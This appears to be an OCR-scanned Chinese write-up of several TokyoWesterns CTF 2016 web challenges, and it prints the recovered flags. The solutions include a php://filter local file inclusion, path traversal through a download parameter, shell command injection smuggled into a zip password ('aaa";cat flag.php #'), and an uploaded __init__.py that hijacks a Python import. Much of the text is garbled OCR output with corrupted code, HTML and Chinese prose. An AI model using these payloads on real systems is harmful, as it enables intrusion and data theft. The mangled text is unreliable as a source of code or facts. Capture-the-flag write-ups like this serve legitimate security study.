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GET [f ?page=php:/ EWTP/L.L T HTTP/L.L 200 OF
Hos L.ctf. westerns.tokyo P Date: Tus, 0 Sep 201 02:34:50 GHT
User-Agent: Mozilla/5.0 (Vindows NT 10.0; WOWE4; rvid8.0) Gecko/201l00101 Firefox/48.0 Server: Apache/2.4.7 (Ubuntu)
Ac ext, */wig=0.8 - -By: PHP/5.5.9-lubuntud4.19
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<meta charset=ucf-g»
<title>Global Page</title>
<styler

</nead>

<body>
<p>
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</body>
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=3 T flag, baseb4fiittdi5Fflags: TWCTF{I_found_simple LFI}

web 100 Get the admin password!
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Bl C\Windows\system32\cmd.exe

get_admin_pass. py
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® The files/directories on the DOCUMENT ROOT are below four.

o download.php

o file list.php

o index.php

o uploads(directory)

HENZ JE R IR L E B8 X AE T http://rup.chal.ctf.westerns.tokyo/downloader.php?f=../index.php &k
#| index.php 1 download.php MV, {HZ R file list.php FA KR, ZGitBANHANKIUEIGIE, index.php 1 F:

download.php UIF:

header(
(stripos(
readfile(




B2 J5 RN index.php BHIEM(EE, REEE T F file list.php, 1fi download.php BELEAEXAE3E T, Frid H w2 i

fgeid id g .

X AR A NFER B T —ASE % S, X BdE i wireshark UL a] LA T H R 45 4% 13 4F R Gt e windows, 2 AT FR T &R
AUCEAHMEE RS, X BRRRITTL=12845 k55 258 R G £ windows (1],

Fragment offset: ©
Time to live: 128
Protocol: TCP (6)
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rup.chal.ctf.westerns.to kyo/download.;lhp?f:../ﬁleI ~71.php

Enable Post data [ | Enable Referrer

file list.php WHSHT:

1EFEFTH download.php

BERE T .
download.php

SAHEERY ¢ PHP 32 (260 F10)
SEJR ;. http://rup.chal.ctf.westerns.tokyo

12482 Firefox QN{aMRIIZM ?
@ T3, BY(O)  Sublime Text (ERiA)
O 1RE=E(S) EACTR\TWctf-2016\rotten
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web 200 ZIP cracker
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http://blog.csdn.net/oathevil/article/details/5717341

shell exec(




SRJE HE H 3 T4~ 1 Rfcrackzip, #E#5 5 A I H N 8L A IOESCHEA TR, B SewpRIE B iZs2 TH B 597 i, X
B A AR HBCE 28 TR, H&4G ML, AXNEBRTTUECEEE.
HeREIE L aaa";1s /# NEMMZIpSCHE, RREILE NS Hipass.txt

I._ Jmnt/hgfs/CTF/THctf-2016fzip craker ————— bendawang ubuntu:pts/14
20:26:39)—=> echo 'aaa";ls [/ #' = pass.txt —(Tue,Sepo6

I._ Jmnt/hgfs/CTF/THctf-2016fzip craker ————— bendawang ubuntu:pts/14
20:26:42)—=> zip -P 'aaa";ls [ #' xxx.zip pass. —(Tue,Sepo6
adding: pass.txt (stored 0%)

IRJG EABRRATLA T, 10fE2)IE use unzip

ZIP file | ... xxx.zip Dictionary file | ... pass.txt
use unzip Crack
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-1 CHARSET speclity a character encoding for UNIX anc

See "unzip -hh" or unzip.txt for more help. Examples:
unzip datal -x joe => extract all files except joe
unzip -p foo | more => send contents of foo.zip via
unzip -fo foo ReadMe => quietly replace existing Reac

bin

boot

dev

etc

home

initrd.img

1lib

1lib64

lost+found

media

mnt

opt

proc

root

run

sbin

Srv

Sys

tmp

usr

var

vmlinuz

M nr LAE#2 cat flag.php T

I._ Jmnt/hgfs/CTF/THctf-2016fzip craker ——————bendawangiubuntu:pts/f1
20:29:10)—> echo 'aaa";cat flag.php #' > pass.txt —(Tue,Sepd
I._ Jmnt/hgfs/CTF/THctf-2016fzip craker ——————bendawangiubuntu:pts/f1

20:29:14)—> zip -P '@aa";cat flag.php #' xxxx.zip pass.txt —(Tue,Sepd
adding: pass.txt (stored 0%)
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-1 CHAKSET Speclly a character encodling Iror UNLIXA and oTther arcnives

See "unzip -hh" or unzip.txt for more help. Examples:

unzip datal -x joe =>» extract all files except joe from zipfile datal.zip

unzip -p foo | more => send contents of foo.zip via pipe into program more

unzip -fo foo ReadMe => quietly replace existing ReadMe if archive file newer
<?php
$flag = "TWCTF{20-bug-430387-cannot-deal-files-with-special-chars.patch:escape pw}";

PASSWORD FOUND!!!!: pw == aaa" cat flag.php #
</p>

< /div>
</div>
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web 300 Tsurai Web
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BIanH 2 dimport_ ('a')
[IE=EIRE R/ I

Begl - Ja RIK init_ .py

11111111

B CHER AR, REelE N, st fidata MR LR

cadf54049be2d757105d745321480ab6 2016/9/6 20:35 S
cadf54049be2d757105d745321480abb.py 2016/9/6 20:35 PY 3zt 1 KB
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def upload():
session.get( username’):
redirect('/")

‘file® request.files:
redirect(’/?msg="+q("No file specified.™))

config =  import (h(session.get('username’)))
imgs

req_file - request.files['file"]

req file req_file.filename R
redirect('/?msg="+q("No file specified."))

fname = req file.filename

fname in [imgs:
redirect(’/?msg="+q( 'File already exists.'))

[imgs|. append (fname)

req_file.save(os.path.join("data/{}". fnrmdf(h(qe551on gef( username’))), os.path.basename(fname)))
open(“"data/{}.py".format(h(session.get( 'username'))), 'w ).wr1fe(|1mgq| 11" . format(repr( 1mqu))

redirect('/?msg="+q("Upload s cful.™))

FAE BTV, BT RS SERE _init_ .py, ABFRTIREMRAE, (X BT FAL R BTA ST AR SO 44 A2 4E
BT

FrABATE AT LT3 B —> __dinit__.py,

A hn & -

Content-Type: multipart/form-data; boundary=--------——-""--""-"""""-"-—--————— 5558181214
Content-Length: 219

————————————————————————————— 555816121469
Content-Disposition: forw-data; nams="file'"; filenams="__ init_ .py"
Content-Type: image/Jjpeqg

import os

imgs=os.listdic('./")
————————————————————————————— 555816121469 --
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<hZ>Your recent photos</hl>
</ dive
<div class="row">

<div class="col-1g-3 col-md-4 col-sw-£ col-xs-12">

<a class="thumbnail'>

<img sre="/show?filenfme=app.py">
</a>

<fdive

<div class="col-1g-3 col-l
<a class="thumbnail'>
<img sro="/show?filens
</a>
<f dive

o l-xs—-12">

<div class="col-1g-3 col-md-4 col-sw-£ col-xs-12">

<a class="thumbnail'>
<img src="/show?filenal
</a>
<fdive

<div class="col-lg-3 col-mgd- 2ol = o]
<a class="thumbnail':>
<img sre="/show?fileng
<fa>
</ dive

<div class="col-1lg-3 col-ggd

<a class="thumbnail':>

<img sre="/show?file
<fa>
</ dive

<div class="col-1lg-3 col-md-4 col-smw-& col-xs-L1Z">

<a class="thumbnail':>

<img sro="/show?filenami __init__ .py"»
<fa>
</ dive
</ dive
<fdive
</ dive
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</ torm>

</ dive

<div class="row">
<hZ>¥Your recent photos</hlI>

<f dive

<div class="row">
<div class="col-1g-3 col-xs-12">
<a class="thurmbnail

<img src="/show?fillename=£lag">

<fa>

</ dive

<div class="col-1lg-3 col-nd o l-xs— 12"
<a class="thumbnail':>

<img src="/show?fil
<fa>

</ dive

1 col—=1
name=passwd'>
<div class="col-1lg-3 col-md-4 col-sm-& col-xs-—-1Z2">

<a class="thunmbnail"
<imy src="/show?filEnamse=templates">
</fa>

<fdive

<div class="col-1g-3 col-md-4 col-sw-6 col-xs-12":>
<a class="thumbnail'"

<img src="/show?filgnams=data>
</a>
<fdive

<div class="col-1g-3 col-md-4 —5-12">

0 | — 31— =
<a class="thumbnail'>
ame=app.py'">

<img sro="/show?filq
</a>
<fdive

</ div>
</ dive
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{div class="row”>

{div class="col-1g-3 col-md-4 col-sm—6 col-xs—12">
{a class="thumbnail”>
{img src="/show?filename=TWCTF {TH1S Challange was BORN AT 2016-09-04 13:03 JST}

{/a>
{Jdiv>

fitbAflagli /& TWCTF{TH1S_Challange was_BORN_AT_2016-09-04 13:03_JST}
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